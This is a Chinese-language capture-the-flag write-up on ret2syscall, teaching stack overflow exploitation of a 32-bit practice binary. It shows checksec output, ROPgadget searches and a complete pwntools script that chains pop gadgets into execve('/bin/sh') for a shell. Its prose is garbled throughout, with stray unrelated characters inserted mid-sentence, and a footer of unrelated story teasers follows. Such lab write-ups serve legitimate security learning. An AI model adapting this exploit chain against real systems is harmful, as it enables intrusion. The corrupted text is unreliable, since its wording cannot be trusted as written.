詳解ret2syscall

原理

ret2syscall,即控制程序執(zhí)行系統(tǒng)調(diào)用婉徘,獲取 shell


0x1

拿道題后檢測(cè)程序開啟的保護(hù)

checksec ./ret2syscall

?? ret2syscall checksec ret2syscall

Arch:? ? i386-32-little

RELRO:? ? Partial RELRO

Stack:? ? No canary found

NX:? ? ? NX enabled

PIE:? ? ? No PIE (0x8048000)

可以看出颤专,程序?yàn)?32 位背率,開啟了 NX 保護(hù)。接下來(lái)利用 IDA 來(lái)查看源碼

0x2


看到偽代碼寫了沒有system和shellcode嫩与,可以看出此次仍然是一個(gè)棧溢出寝姿。類似于之前的做法划滋,我們可以獲得 v4 相對(duì)于 ebp 的偏移為 108。所以我們需要覆蓋的返回地址相對(duì)于 v4 的偏移為 112处坪。此次根资,由于我們不能直接利用程序中的某一段代碼或者自己填寫代碼來(lái)獲得 shell,所以我們利用程序中的 gadgets 來(lái)獲得shell同窘,而對(duì)應(yīng)的 shell 獲取則是利用系統(tǒng)調(diào)用玄帕。關(guān)于系統(tǒng)調(diào)用的知識(shí)請(qǐng)看這個(gè)鏈接,簡(jiǎn)單地說(shuō)裤纹,只要我們把對(duì)應(yīng)獲取 shell 的系統(tǒng)調(diào)用的參數(shù)放到對(duì)應(yīng)的寄存器中案狠,那么我們?cè)趫?zhí)行 int 0x80 就可執(zhí)行對(duì)應(yīng)的系統(tǒng)調(diào)用服傍。比如說(shuō)這里我們利用如下系統(tǒng)調(diào)用來(lái)獲取 shell骂铁。但是開啟了NX所以我們要調(diào)用系統(tǒng)指令組成ROP,這里我們可以用\downarrow

execve("/bin/sh",0,0)

首先我們得知道如何調(diào)用寄存器可以構(gòu)造出sys_execve,其次知道如何才能讓其執(zhí)行拉庵。


如何使用構(gòu)建

1.系統(tǒng)調(diào)用號(hào),即 eax 應(yīng)該為 0xb(sys_execve)

2.第一個(gè)參數(shù)茫蛹,即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以

3.第二個(gè)參數(shù)婴洼,即 ecx 應(yīng)該為 0

4.第三個(gè)參數(shù)撼嗓,即 edx 應(yīng)該為 0

利用ROPgadget的工具查找eax ebx ecx edx的地址柬采,查找/bin/sh和int 0x80的地址

ROPgadget --binary rop? --only 'pop|ret' | grep 'eax

ROPgadget --binary rop? --only 'pop|ret' | grep 'ebx'

ROPgadget --binary ret2syscall --string "/bin/sh"

ROPgadget --binary ret2syscall --only 'int'

0x3

1.eax

2.然后我們?cè)趯ふ襡bx


意外的發(fā)現(xiàn)有一個(gè)地址可以同時(shí)控制三個(gè)寄存器

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

3.尋找/bin/sh

0x080be408 : /bin/sh

4.尋找int

0x08049421 : int 0x80

0x4 exp如下

from pwn import*

p = process("./ret2syscall")

#r = remote('ip',port)

binsh_addr = 0x080be408

int_addr = 0x08049421

pop_eax_ret = 0x080bb196

pop_edx_ecx_ebx_ret = 0x0806eb90

#execve("/bin/sh",NULL,NULL)

payload = 'a'*112

payload += p32(pop_eax_ret) + p32(0x0b)

payload += p32(pop_edx_ecx_ebx_ret) +p32(0) + p32(0) +p32(binsh_addr)

payload += p32(int_addr)

p.sendline(payload)

p.interactive()

擴(kuò)展和心得體會(huì)

上述分析這種情況其實(shí)是最簡(jiǎn)單得syscall粉捻,還有一些情況復(fù)雜的比如:直接搜不出“/bin/sh”字符串的。但是其實(shí)如果真的掌握精髓的話肩刃,其實(shí)是可以拼接出“/bin/sh”字符串的,有的題目中沸呐,有“/”,有“bin”垂谢,有“sh”疮茄,但是我拼接過程中不知道該如何截?cái)嘁粋€(gè)字符串。既然是系統(tǒng)調(diào)用根暑,那么我們不如調(diào)用一個(gè)read函數(shù),來(lái)自己輸入“/bin/sh”吧排嫌。如果感興趣可以看下面我推薦的那位師傅的wp


推薦師傅wp:

不會(huì)修電腦

此篇文章如果存在問題,還望大佬批評(píng)指正

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末怖糊,一起剝皮案震驚了整個(gè)濱河市颇象,隨后出現(xiàn)的幾起案子伍伤,更是在濱河造成了極大的恐慌遣钳,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,718評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件劝评,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡蒋畜,警方通過查閱死者的電腦和手機(jī)撞叽,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門插龄,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人佣渴,你說(shuō)我怎么就攤上這事⌒寥螅” “怎么了?”我有些...
    開封第一講書人閱讀 158,207評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵真椿,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我突硝,道長(zhǎng)置济,這世上最難降的妖魔是什么解恰? 我笑而不...
    開封第一講書人閱讀 56,755評(píng)論 1 284
  • 正文 為了忘掉前任浙于,我火速辦了婚禮,結(jié)果婚禮上羞酗,老公的妹妹穿的比我還像新娘。我一直安慰自己胸竞,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,862評(píng)論 6 386
  • 文/花漫 我一把揭開白布卫枝。 她就那樣靜靜地躺著讹挎,像睡著了一般。 火紅的嫁衣襯著肌膚如雪淤袜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 50,050評(píng)論 1 291
  • 那天积蔚,我揣著相機(jī)與錄音,去河邊找鬼尽爆。 笑死怎顾,一個(gè)胖子當(dāng)著我的面吹牛漱贱,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播幅狮,決...
    沈念sama閱讀 39,136評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼擎值!你這毒婦竟也來(lái)了逐抑?” 一聲冷哼從身側(cè)響起鸠儿,我...
    開封第一講書人閱讀 37,882評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤厕氨,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后品追,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,330評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,651評(píng)論 2 327
  • 正文 我和宋清朗相戀三年胃惜,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片船殉。...
    茶點(diǎn)故事閱讀 38,789評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡斯嚎,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出堡僻,到底是詐尸還是另有隱情,我是刑警寧澤钉疫,帶...
    沈念sama閱讀 34,477評(píng)論 4 333
  • 正文 年R本政府宣布,位于F島的核電站固阁,受9級(jí)特大地震影響壤躲,放射性物質(zhì)發(fā)生泄漏备燃。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,135評(píng)論 3 317
  • 文/蒙蒙 一并齐、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧冀膝,春花似錦、人聲如沸窝剖。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,864評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至诚隙,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間久又,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,099評(píng)論 1 267
  • 我被黑心中介騙來(lái)泰國(guó)打工地消, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留畏妖,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,598評(píng)論 2 362
  • 正文 我出身青樓戒劫,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親迅细。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,697評(píng)論 2 351